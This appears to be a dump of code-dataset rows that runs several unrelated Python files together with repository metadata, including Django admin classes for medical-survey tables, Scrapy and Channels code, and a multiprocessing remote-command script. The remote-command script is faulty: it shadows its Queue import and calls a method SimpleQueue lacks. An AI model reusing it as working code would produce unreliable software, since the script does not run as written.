= 15 class AdminHomeHealth09(admin.ModelAdmin): """ Admin settings for HomeHealth09 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth09 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth08(admin.ModelAdmin): """ Admin settings for HomeHealth08 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth08 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth07(admin.ModelAdmin): """ Admin settings for HomeHealth07 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth07 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth06(admin.ModelAdmin): """ Admin settings for HomeHealth06 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth06 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 class AdminHomeHealth05(admin.ModelAdmin): """ Admin settings for HomeHealth05 model""" def has_change_permission(self, request, obj=None): """ Do not allow users to edit model instances """ return False def has_delete_permission(self, request, obj=None): """ Do not allow users to delete model instances """ return False model = HomeHealth05 # Column names to display on table field_names = [field.name for field in model._meta.get_fields()] list_display = field_names # Navigation search_fields = ["DUPERSID"] list_per_page = 15 admin.site.register(PopulationCharacteristics18, AdminPopulationCharacteristics18) admin.site.register(PopulationCharacteristics17, AdminPopulationCharacteristics17) admin.site.register(PopulationCharacteristics16, AdminPopulationCharacteristics16) admin.site.register(PopulationCharacteristics15, AdminPopulationCharacteristics15) admin.site.register(PopulationCharacteristics14, AdminPopulationCharacteristics14) admin.site.register(PopulationCharacteristics13, AdminPopulationCharacteristics13) admin.site.register(PopulationCharacteristics12, AdminPopulationCharacteristics12) admin.site.register(PopulationCharacteristics11, AdminPopulationCharacteristics11) admin.site.register(PopulationCharacteristics10, AdminPopulationCharacteristics10) admin.site.register(PopulationCharacteristics09, AdminPopulationCharacteristics09) admin.site.register(PopulationCharacteristics08, AdminPopulationCharacteristics08) admin.site.register(PopulationCharacteristics07, AdminPopulationCharacteristics07) admin.site.register(PopulationCharacteristics06, AdminPopulationCharacteristics06) admin.site.register(PopulationCharacteristics05, AdminPopulationCharacteristics05) admin.site.register(MedicalConditions18, AdminMedicalConditions18) admin.site.register(MedicalConditions17, AdminMedicalConditions17) admin.site.register(MedicalConditions16, AdminMedicalConditions16) admin.site.register(MedicalConditions15, AdminMedicalConditions15) admin.site.register(MedicalConditions14, AdminMedicalConditions14) admin.site.register(MedicalConditions13, AdminMedicalConditions13) admin.site.register(MedicalConditions12, AdminMedicalConditions12) admin.site.register(MedicalConditions11, AdminMedicalConditions11) admin.site.register(MedicalConditions10, AdminMedicalConditions10) admin.site.register(MedicalConditions09, AdminMedicalConditions09) admin.site.register(MedicalConditions08, AdminMedicalConditions08) admin.site.register(MedicalConditions07, AdminMedicalConditions07) admin.site.register(MedicalConditions06, AdminMedicalConditions06) admin.site.register(MedicalConditions05, AdminMedicalConditions05) admin.site.register(PrescribedMedicines18, AdminPrescribedMedicines18) admin.site.register(PrescribedMedicines17, AdminPrescribedMedicines17) admin.site.register(PrescribedMedicines16, AdminPrescribedMedicines16) admin.site.register(PrescribedMedicines15, AdminPrescribedMedicines15) admin.site.register(PrescribedMedicines14, AdminPrescribedMedicines14) admin.site.register(PrescribedMedicines13, AdminPrescribedMedicines13) admin.site.register(PrescribedMedicines12, AdminPrescribedMedicines12) admin.site.register(PrescribedMedicines11, AdminPrescribedMedicines11) admin.site.register(PrescribedMedicines10, AdminPrescribedMedicines10) admin.site.register(PrescribedMedicines09, AdminPrescribedMedicines09) admin.site.register(PrescribedMedicines08, AdminPrescribedMedicines08) admin.site.register(PrescribedMedicines07, AdminPrescribedMedicines07) admin.site.register(PrescribedMedicines06, AdminPrescribedMedicines06) admin.site.register(PrescribedMedicines05, AdminPrescribedMedicines05) admin.site.register(DentalVisits18, AdminDentalVisits18) admin.site.register(DentalVisits17, AdminDentalVisits17) admin.site.register(DentalVisits16, AdminDentalVisits16) admin.site.register(DentalVisits15, AdminDentalVisits15) admin.site.register(DentalVisits14, AdminDentalVisits14) admin.site.register(DentalVisits13, AdminDentalVisits13) admin.site.register(DentalVisits12, AdminDentalVisits12) admin.site.register(DentalVisits11, AdminDentalVisits11) admin.site.register(DentalVisits10, AdminDentalVisits10) admin.site.register(DentalVisits09, AdminDentalVisits09) admin.site.register(DentalVisits08, AdminDentalVisits08) admin.site.register(DentalVisits07, AdminDentalVisits07) admin.site.register(DentalVisits06, AdminDentalVisits06) admin.site.register(DentalVisits05, AdminDentalVisits05) admin.site.register(OtherMedicalExpenses18, AdminOtherMedicalExpenses18) admin.site.register(OtherMedicalExpenses17, AdminOtherMedicalExpenses17) admin.site.register(OtherMedicalExpenses16, AdminOtherMedicalExpenses16) admin.site.register(OtherMedicalExpenses15, AdminOtherMedicalExpenses15) admin.site.register(OtherMedicalExpenses14, AdminOtherMedicalExpenses14) admin.site.register(OtherMedicalExpenses13, AdminOtherMedicalExpenses13) admin.site.register(OtherMedicalExpenses12, AdminOtherMedicalExpenses12) admin.site.register(OtherMedicalExpenses11, AdminOtherMedicalExpenses11) admin.site.register(OtherMedicalExpenses10, AdminOtherMedicalExpenses10) admin.site.register(OtherMedicalExpenses09, AdminOtherMedicalExpenses09) admin.site.register(OtherMedicalExpenses08, AdminOtherMedicalExpenses08) admin.site.register(OtherMedicalExpenses07, AdminOtherMedicalExpenses07) admin.site.register(OtherMedicalExpenses06, AdminOtherMedicalExpenses06) admin.site.register(OtherMedicalExpenses05, AdminOtherMedicalExpenses05) admin.site.register(HospitalInpatientStays18, AdminHospitalInpatientStays18) admin.site.register(HospitalInpatientStays17, AdminHospitalInpatientStays17) admin.site.register(HospitalInpatientStays16, AdminHospitalInpatientStays16) admin.site.register(HospitalInpatientStays15, AdminHospitalInpatientStays15) admin.site.register(HospitalInpatientStays14, AdminHospitalInpatientStays14) admin.site.register(HospitalInpatientStays13, AdminHospitalInpatientStays13) admin.site.register(HospitalInpatientStays12, AdminHospitalInpatientStays12) admin.site.register(HospitalInpatientStays11, AdminHospitalInpatientStays11) admin.site.register(HospitalInpatientStays10, AdminHospitalInpatientStays10) admin.site.register(HospitalInpatientStays09, AdminHospitalInpatientStays09) admin.site.register(HospitalInpatientStays08, AdminHospitalInpatientStays08) admin.site.register(HospitalInpatientStays07, AdminHospitalInpatientStays07) admin.site.register(HospitalInpatientStays06, AdminHospitalInpatientStays06) admin.site.register(HospitalInpatientStays05, AdminHospitalInpatientStays05) admin.site.register(EmergencyRoomVisits18, AdminEmergencyRoomVisits18) admin.site.register(EmergencyRoomVisits17, AdminEmergencyRoomVisits17) admin.site.register(EmergencyRoomVisits16, AdminEmergencyRoomVisits16) admin.site.register(EmergencyRoomVisits15, AdminEmergencyRoomVisits15) admin.site.register(EmergencyRoomVisits14, AdminEmergencyRoomVisits14) admin.site.register(EmergencyRoomVisits13, AdminEmergencyRoomVisits13) admin.site.register(EmergencyRoomVisits12, AdminEmergencyRoomVisits12) admin.site.register(EmergencyRoomVisits11, AdminEmergencyRoomVisits11) admin.site.register(EmergencyRoomVisits10, AdminEmergencyRoomVisits10) admin.site.register(EmergencyRoomVisits09, AdminEmergencyRoomVisits09) admin.site.register(EmergencyRoomVisits08, AdminEmergencyRoomVisits08) admin.site.register(EmergencyRoomVisits07, AdminEmergencyRoomVisits07) admin.site.register(EmergencyRoomVisits06, AdminEmergencyRoomVisits06) admin.site.register(EmergencyRoomVisits05, AdminEmergencyRoomVisits05) admin.site.register(OutpatientVisits18, AdminOutpatientVisits18) admin.site.register(OutpatientVisits17, AdminOutpatientVisits17) admin.site.register(OutpatientVisits16, AdminOutpatientVisits16) admin.site.register(OutpatientVisits15, AdminOutpatientVisits15) admin.site.register(OutpatientVisits14, AdminOutpatientVisits14) admin.site.register(OutpatientVisits13, AdminOutpatientVisits13) admin.site.register(OutpatientVisits12, AdminOutpatientVisits12) admin.site.register(OutpatientVisits11, AdminOutpatientVisits11) admin.site.register(OutpatientVisits10, AdminOutpatientVisits10) admin.site.register(OutpatientVisits09, AdminOutpatientVisits09) admin.site.register(OutpatientVisits08, AdminOutpatientVisits08) admin.site.register(OutpatientVisits07, AdminOutpatientVisits07) admin.site.register(OutpatientVisits06, AdminOutpatientVisits06) admin.site.register(OutpatientVisits05, AdminOutpatientVisits05) admin.site.register(OfficeBasedVisits18, AdminOfficeBasedVisits18) admin.site.register(OfficeBasedVisits17, AdminOfficeBasedVisits17) admin.site.register(OfficeBasedVisits16, AdminOfficeBasedVisits16) admin.site.register(OfficeBasedVisits15, AdminOfficeBasedVisits15) admin.site.register(OfficeBasedVisits14, AdminOfficeBasedVisits14) admin.site.register(OfficeBasedVisits13, AdminOfficeBasedVisits13) admin.site.register(OfficeBasedVisits12, AdminOfficeBasedVisits12) admin.site.register(OfficeBasedVisits11, AdminOfficeBasedVisits11) admin.site.register(OfficeBasedVisits10, AdminOfficeBasedVisits10) admin.site.register(OfficeBasedVisits09, AdminOfficeBasedVisits09) admin.site.register(OfficeBasedVisits08, AdminOfficeBasedVisits08) admin.site.register(OfficeBasedVisits07, AdminOfficeBasedVisits07) admin.site.register(OfficeBasedVisits06, AdminOfficeBasedVisits06) admin.site.register(OfficeBasedVisits05, AdminOfficeBasedVisits05) admin.site.register(HomeHealth18, AdminHomeHealth18) admin.site.register(HomeHealth17, AdminHomeHealth17) admin.site.register(HomeHealth16, AdminHomeHealth16) admin.site.register(HomeHealth15, AdminHomeHealth15) admin.site.register(HomeHealth14, AdminHomeHealth14) admin.site.register(HomeHealth13, AdminHomeHealth13) admin.site.register(HomeHealth12, AdminHomeHealth12) admin.site.register(HomeHealth11, AdminHomeHealth11) admin.site.register(HomeHealth10, AdminHomeHealth10) admin.site.register(HomeHealth09, AdminHomeHealth09) admin.site.register(HomeHealth08, AdminHomeHealth08) admin.site.register(HomeHealth07, AdminHomeHealth07) admin.site.register(HomeHealth06, AdminHomeHealth06) admin.site.register(HomeHealth05, AdminHomeHealth05)
30.213318
82
0.709422
11,579
102,544
6.13464
0.0304
0.023651
0.082778
0.094604
0.709177
0.644419
0.644419
0.644419
0.644419
0.644419
0
0.024222
0.210895
102,544
3,393
83
30.222222
0.853617
0.245339
0
0.658436
0
0
0.015016
0
0
0
0
0
0
1
0.164609
false
0
0.006467
0
0.829512
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e9c12e681a6df91b96035cfacfac15658551980b
485
py
Python
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
13
2018-01-26T13:20:53.000Z
2022-03-04T15:26:59.000Z
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
null
null
null
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
6
2018-04-11T15:27:42.000Z
2020-12-10T13:34:06.000Z
from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.pipeline import Pipeline from argmining.features.bag_of_words import tokenizer_THF_words_lowercase def build_tfidf(feature_name='tfidf', ngram_range=(1, 1), min_df=5): pipeline = Pipeline( [('tfidf', TfidfVectorizer(min_df=min_df, lowercase=False, tokenizer=tokenizer_THF_words_lowercase, ngram_range=ngram_range)) ]) return (feature_name, pipeline)
40.416667
107
0.729897
59
485
5.694915
0.474576
0.089286
0.10119
0.154762
0
0
0
0
0
0
0
0.007614
0.187629
485
11
108
44.090909
0.845178
0
0
0
0
0
0.020619
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
756f481a3e4e6de96f264ff90ac3f66c0ceb60fe
468
py
Python
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
null
null
null
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
6
2021-09-09T08:14:58.000Z
2021-09-22T19:09:15.000Z
tests/stdlib/test_datetime_timedelta.py
shashd/voc_mp_group3
257ec1d449c2f4fb2e04eda390d978a4021b4463
[ "BSD-3-Clause" ]
null
null
null
from ..utils import TranspileTestCase class TestTimeDelta(TranspileTestCase): def test_constructor(self): self.assertCodeExecution(""" from datetime import timedelta print(timedelta(1).days) print(timedelta(seconds = 2).seconds) print(timedelta(days = 3).days) try: print(timedelta(1, days=2)) except Exception as e: print(type(e), e) """)
26
49
0.561966
45
468
5.822222
0.555556
0.21374
0.114504
0.145038
0
0
0
0
0
0
0
0.016129
0.337607
468
17
50
27.529412
0.829032
0
0
0
0
0
0.673077
0.100427
0
0
0
0
0.076923
1
0.076923
false
0
0.153846
0
0.307692
0.384615
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
75828f9bb3f13f5c2e9789d845a8e4ff12730eb5
254
py
Python
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
problem_117.py
renxiaoyi/project_euler
2566482209cd225fce39887fe869f839cf88330e
[ "Unlicense" ]
null
null
null
import petools @petools.Memorize def PermBlocks(n): if n < 0: return 0 elif n < 2: return 1 else: return (PermBlocks(n-1) # black first + sum(PermBlocks(n-i) for i in range(2, 5))) # colored first print PermBlocks(50)
15.875
73
0.610236
39
254
3.974359
0.615385
0.212903
0
0
0
0
0
0
0
0
0
0.04918
0.279528
254
15
74
16.933333
0.797814
0.098425
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.090909
null
null
0.090909
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
759fe1d8c43d8d0c238532d6703ec495c3c6a337
856
py
Python
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
1
2020-01-23T06:56:34.000Z
2020-01-23T06:56:34.000Z
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
null
null
null
sw_downloader/sw_downloader/pipelines.py
aezhov/sw_downloader
325f6fe98579dda4f98613e4513fc46c7bd962c7
[ "MIT" ]
2
2020-01-23T06:56:36.000Z
2020-01-24T05:34:25.000Z
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html from scrapy.pipelines.files import FilesPipeline from furl import furl from .utils import format_dirname import os class SwDownloaderPipeline(FilesPipeline): """ Like standard FilesPipeLine but custom file_path """ def file_path(self, request, response=None, info=None): super(SwDownloaderPipeline, self).file_path(request, response, info) url_parsed = furl(request.url) filename = os.path.basename(str(url_parsed.path)) dirname = format_dirname(info.spider.year, info.spider.month, info.spider.resolution) path = os.path.join(dirname, filename) return path
31.703704
76
0.690421
108
856
5.398148
0.555556
0.041166
0
0
0
0
0
0
0
0
0
0.001484
0.212617
856
26
77
32.923077
0.863501
0.26986
0
0
0
0
0
0
0
0
0
0
0
1
0.076923
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
75aa1ad840a754937cfe3cb91fd00d3913f4cf2a
331
py
Python
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o com.py
Alex-ARLS/exerciccios-em-python
8f81643180adf2551a21ea00fa44c16aaa7585a8
[ "MIT" ]
null
null
null
# estrutura encadeada devemos usar o comando "elif", que é uma abreviação de else codigo_compra = 5444 if codigo_compra == 5222: print("compra a vista.") elif codigo_compra == 5333: print("compra a prazo no boleto.") elif codigo_compra ==5444: print("compra a prazo no cartao.") else: print("código não cadastrado")
30.090909
82
0.716012
49
331
4.755102
0.591837
0.206009
0.154506
0.145923
0.16309
0
0
0
0
0
0
0.059041
0.181269
331
10
83
33.1
0.800738
0.241692
0
0
0
0
0.345382
0
0
0
0
0
0
1
0
false
0
0
0
0
0.444444
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
75ab4ce2918e46cb72b8a86b1952a7f5ab7951fb
5,260
py
Python
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
1
2021-12-22T19:28:55.000Z
2021-12-22T19:28:55.000Z
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
16
2021-12-22T19:16:25.000Z
2022-01-26T16:44:57.000Z
ntbk/entities/collections.py
bbeng89/ntbk
770ecd9c6223d9579114731a5efa9f9e3c766bad
[ "MIT" ]
null
null
null
"""Classes to represent Collection entities in the app""" # app imports from ntbk.entities.templates import Template class Collection(): """Represents a folder in the /collections directory. It can contain multiple files Arguments: config - Config instance filesystem - Filesystem instance name - string collection name Attributes: config - Config instance filesystem - Filesystem instance name - string collection name """ def __init__(self, config, filesystem, name): self.config = config self.filesystem = filesystem self.name = name def get_path(self): """Get the pathlib.Path object for this collection""" return self.filesystem.get_collection_base_path() / self.name def get_name(self): """Get the string name for this collection""" return self.name def has_default_template(self): """Whether or not this collection has a default template defined in the config file""" return self.get_default_template_name() is not None def get_default_template_name(self): """Get the default template name in the config file or None if there isn't one.""" # i'd like to find a more elegant solution for accessing these nested dicts if not self.config.get('default_templates'): return None if not self.config.get('default_templates').get('collection'): return None return self.config.get('default_templates').get('collection').get(self.name) def get_default_template(self): """Get the default template Template object or None if there isn't one.""" if not self.has_default_template(): return None return Template(self.config, self.filesystem, self.get_default_template_name()) def get_contents(self, recursive = False): """Gets a list of files and folders inside this collection""" pattern = '**/*' if recursive else '*' return list(self.get_path().glob(pattern)) def get_files(self): """Get a list of CollectionFile objects for each file in this collection""" return [CollectionFile(self.config, self.filesystem, self.name, child.stem) for child in self.get_path().glob('*')] def get_file_count(self): """Get int number of files in this collection""" return len(self.get_files()) def create_directories(self): """Create all the directories for this collection on disk""" self.get_path().mkdir(parents=True, exist_ok=True) class CollectionFile(): """Represents a file within a collection Arguments: config - Config instance filesystem - Filesystem instance collection_name - string name of the collection filename - string name of the file inside the collection Attributes: config - Config instance collection - Collection object - collection file belongs to filename - string name of the file inside the collection """ EXTENSION = '.md' def __init__(self, config, filesystem, collection_name, filename): self.config = config self.collection = Collection(config, filesystem, collection_name) self.filename = filename def get_path(self): """Get the pathlib.Path object for this collection file""" return self.collection.get_path() / f'{self.filename}{self.EXTENSION}' def get_name(self): """Get the name of this file (without extension)""" return self.filename def get_collection(self): """Get Collection object that this file belongs to""" return self.collection def exists(self): """Whether or not this file exists on disk yet""" return self.get_path().exists() def is_empty(self): """ Whether or not this file exists and contains any content. Spaces and newlines don't count. """ if not self.get_path().exists(): return True return bool(self.get_path().read_text().strip()) def has_default_template(self): """Whether or not this file belongs to a collection that has a default template""" return self.collection.has_default_template() def get_default_template_name(self): """Get the default template name for the collection this file belongs to""" return self.collection.get_default_template_name() def get_default_template(self): """Get the Template object for default template for the collection this file belongs to""" return self.collection.get_default_template() def create_directories(self): """Create all the parent directories for this file on disk (does not create the file)""" self.collection.create_directories() def get_all_collections(config, filesystem): """Get a list of Collection objects for all collections in the notebook Arguments: config - Config instance filesystem - Filesystem instance """ collections = [Collection(config, filesystem, child.stem) for child in filesystem.get_collection_base_path().glob('*/')] return sorted(collections, key=lambda col: col.get_name().lower())
35.782313
98
0.66711
662
5,260
5.187311
0.193353
0.040769
0.023296
0.032033
0.454572
0.370705
0.349738
0.217239
0.196855
0.146185
0
0
0.244487
5,260
146
99
36.027397
0.864117
0.403612
0
0.274194
0
0
0.038912
0.010675
0
0
0
0
0
1
0.33871
false
0
0.016129
0
0.741935
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
75ba2bd7ca78cf8172821d64c4478f1fa0077703
474
py
Python
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
test/test_history.py
fidoman/dumbhost
b18c5572c9dd9249b68815e306cdbafe94a61638
[ "MIT" ]
null
null
null
#!/usr/bin/python import dumbhost.history for x in xrange(30): print x, history.get_send_permission("test_user") # It must on each iteration add 1 record # remove old records # create file if it does not exists # tests: # 1. create file # 2. allow if count < limit # 3. allow if count >= limit but non-outdated records quantity is lesser than limit # 4. allow if count < limit and some records are outdated and account only non outdated records # 5. concurrency test
24.947368
95
0.740506
79
474
4.405063
0.696203
0.060345
0.103448
0.146552
0
0
0
0
0
0
0
0.020725
0.185654
474
18
96
26.333333
0.880829
0.742616
0
0
0
0
0.080357
0
0
0
0
0
0
0
null
null
0
0.333333
null
null
0.333333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
75c2e6dca068ff739f1063a8077d876a7e53f747
1,116
py
Python
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
2
2020-10-06T17:07:32.000Z
2020-10-15T09:25:42.000Z
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
67
2018-06-22T09:12:44.000Z
2022-03-11T23:34:39.000Z
wargame_admin/consumers.py
radl97/wargame-web
4062b05717bacb5c1a2c178f3a8bd07af7a18b10
[ "MIT" ]
2
2020-10-05T21:13:48.000Z
2020-10-10T13:46:20.000Z
import json from enum import Enum from asgiref.sync import async_to_sync from channels.generic.websocket import WebsocketConsumer from channels.layers import get_channel_layer class MessageType(Enum): ERROR = (0,) WARNING = (1,) INFO = (2,) SUCCESS = 3 def log(message, log_var, log_level): channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(log_var, {"type": "log_event", "message": message, "level": log_level.name}) class LogConsumer(WebsocketConsumer): def log_var(self): return self.scope["url_route"]["kwargs"]["log_var"] def connect(self): if not self.scope["user"].is_superuser: return async_to_sync(self.channel_layer.group_add)(self.log_var(), self.channel_name) self.accept() def disconnect(self, close_code): async_to_sync(self.channel_layer.group_discard)(self.log_var(), self.channel_name) def receive(self, text_data=None, bytes_data=None): pass def log_event(self, event): self.send(json.dumps({"level": event["level"], "message": event["message"]}))
27.9
120
0.691756
153
1,116
4.810458
0.405229
0.097826
0.059783
0.040761
0.154891
0.154891
0.086957
0
0
0
0
0.004376
0.181004
1,116
39
121
28.615385
0.800875
0
0
0
0
0
0.067204
0
0
0
0
0
0
1
0.222222
false
0.037037
0.185185
0.037037
0.703704
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
75d974ff9af5d5cec7ac11a3ff93190eebb92b2e
2,423
py
Python
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
null
null
null
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
2
2017-11-15T07:33:54.000Z
2017-11-16T10:07:02.000Z
multiprocess.py
Baz2013/remote_shell
98ce5f1e7b63618d4d83fe6a8c761b8e816f383c
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- from multiprocessing import Pool, Queue, Lock, SimpleQueue import Queue import os import time import random import argparse import utils MAX_PROCESS = 5 def executor(name, r_queue): # print 'Run task %s (%s)...' % (name, os.getpid()) start = time.time() time.sleep(random.random() * 3) end = time.time() # print 'Task %s runs %0.2f seconds.' % (name, (end - start)) r_queue.put('Task %s runs %0.2f seconds.' % (name, (end - start))) def printer(r_name, r_count, r_queue, lock): """ :param r_name: :param r_count: :param r_queue: :return: """ i = 0 while i < r_count: line = r_queue.get(True) if line: lock.acquire() print '[%d]' % (i + 1,), utils.print_output(line) lock.release() i += 1 r_queue.task_done() def main(r_parser): """ :param r_parser: 传入的参数 :return: """ r_parser.add_argument("-m", "--module", help="module", required=True) r_parser.add_argument("-u", "--user", help="remote machine user", required=True) r_parser.add_argument("-p", "--password", help="remote machine password") r_parser.add_argument("-d", "--destination", help="destination hosts group", required=True) r_parser.add_argument("-c", "--command", help="command or shell scripts", required=True) args = r_parser.parse_args() module = args.module user = args.user password = args.password dest = args.destination command = args.command print 'Parent process %s.' % os.getpid() config = utils.read_config('./rcm.conf') hosts_lst = utils.get_hosts(config, dest) print hosts_lst _exe_command(hosts_lst, module, user, password, command) def _exe_command(r_hosts_lst, r_module, r_user, r_password, r_command): """ :param r_hosts_lst: :param r_module: :param r_user: :param r_password: :param r_command: :return: """ queue = SimpleQueue() lock = Lock() p = Pool(MAX_PROCESS) # p.apply_async(printer, args=('printer', len(r_hosts_lst), queue)) p.apply_async(printer, args=('printer', 5, queue, lock)) for i in range(5): p.apply_async(executor, args=(i, queue)) p.close() p.join() if __name__ == '__main__': parser = argparse.ArgumentParser(description='''execute command or scripts on remote machine''') main(parser)
27.224719
100
0.619893
328
2,423
4.387195
0.295732
0.037526
0.034746
0.062543
0.145935
0.145935
0.043085
0.043085
0.043085
0
0
0.006427
0.229468
2,423
89
101
27.224719
0.764328
0.080891
0
0
0
0
0.137666
0
0
0
0
0
0
0
null
null
0.075472
0.132075
null
null
0.113208
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
f94da276937f5716620bd6eee8bf0c73b491f8ab
6,005
py
Python
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
94
2019-06-10T07:53:10.000Z
2022-03-23T12:17:30.000Z
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
8
2019-06-12T22:50:21.000Z
2021-11-27T02:12:54.000Z
code/build_tree.py
naman308/thesis_project
d3f1fc50c56e7466635d9a115c777ced4e375a8d
[ "MIT" ]
31
2019-07-15T08:28:58.000Z
2022-03-31T03:08:57.000Z
from utils import Voc """ ALL """ def _remove_duplicate(input): return list(set(input)) def build_stage_one_edges(res, graph_voc): """ :param res: :param graph_voc: :return: edge_idx [[1,2,3],[0,1,0]] """ edge_idx = [] for sample in res: sample_idx = list(map(lambda x: graph_voc.word2idx[x], sample)) for i in range(len(sample_idx) - 1): # only direct children -> ancestor edge_idx.append((sample_idx[i+1], sample_idx[i])) # # # self-loop except leaf node # if i != 0: # edge_idx.append((sample_idx[i], sample_idx[i])) edge_idx = _remove_duplicate(edge_idx) row = list(map(lambda x: x[0], edge_idx)) col = list(map(lambda x: x[1], edge_idx)) return [row, col] def build_stage_two_edges(res, graph_voc): """ :param res: :param graph_voc: :return: edge_idx [[1,2,3],[0,1,0]] """ edge_idx = [] for sample in res: sample_idx = list(map(lambda x: graph_voc.word2idx[x], sample)) # only ancestors -> leaf node edge_idx.extend([(sample_idx[0], sample_idx[i]) for i in range(1, len(sample_idx))]) edge_idx = _remove_duplicate(edge_idx) row = list(map(lambda x: x[0], edge_idx)) col = list(map(lambda x: x[1], edge_idx)) return [row, col] def build_cominbed_edges(res, graph_voc): """ :param res: :param graph_voc: :return: edge_idx [[1,2,3],[0,1,0]] """ edge_idx = [] for sample in res: sample_idx = list(map(lambda x: graph_voc.word2idx[x], sample)) for i in range(len(sample_idx) - 1): # ancestor <- direct children edge_idx.append((sample_idx[i+1], sample_idx[i])) # ancestors -> leaf node edge_idx.extend([(sample_idx[0], sample_idx[i]) for i in range(1, len(sample_idx))]) # # # # self-loop except leaf node # if i != 0: # edge_idx.append((sample_idx[i], sample_idx[i])) edge_idx = _remove_duplicate(edge_idx) row = 